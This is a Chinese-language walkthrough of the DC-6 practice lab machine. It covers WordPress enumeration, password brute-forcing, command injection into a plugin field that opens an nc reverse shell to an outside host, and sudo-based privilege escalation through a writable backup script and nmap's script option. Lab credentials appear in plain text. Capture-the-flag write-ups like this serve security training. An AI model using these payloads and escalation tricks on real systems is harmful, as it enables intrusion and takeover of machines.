dc6
扫描
dirsearch -u http://10.4.7.149
whatweb http://10.4.7.149
扫描结果显示需要修改hosts才能访问主页
随后可以使用http://wordy
可以访问
渗透
由于发现是wordpress搭建的,因此使用和dc2相同的操作试试看
wpscan --url http://dc-2 --enumerate u
使用wpscan获取用户名
写入文件当做字典
随后使用cewl生成密码字典
cewl -w pojie1.txt http://wordy
wpscan爆破一下密码
wpscan --url http://wordy -U pojie_user.txt -P pojie1.txt
爆破不成功
官网作者提示使用rockyou字典,而且还有筛选
得到用户信息
mark:helpdesk01
该用户即可登录wp
在activity monitor tools发现疑似可以执行代码的框
f12看一下这个框,发现限制长度,把长度值直接改了,然后输入
127.0.0.1;nc -e /bin/bash 10.4.7.138 12138
反弹成功
使用命令回显
python -c 'import pty;pty.spawn("/bin/bash")'
在/home/mark中发现该文件
得到用户信息
graham:GSo7isUM1D4
提权
ssh可连接该用户
使用sudo -l可以发现jens可以无密码执行backup.sh
追加写入该文件一条,执行时获取jens的shell
echo "/bin/bash" >> backups.sh
随后进入jens目录下执行文件
sudo -u jens /home/jens/backups.sh
再次使用sudo -l
发现可以以root身份无密码执行nmap
nmap的–script参数可以执行脚本
先写一个脚本文件,然后sudo执行
echo 'os.execute("/bin/bash")'>use.sh
sudo nmap --script=use.sh
这块貌似可能缺点啥…执行不顺畅,但是成功提权了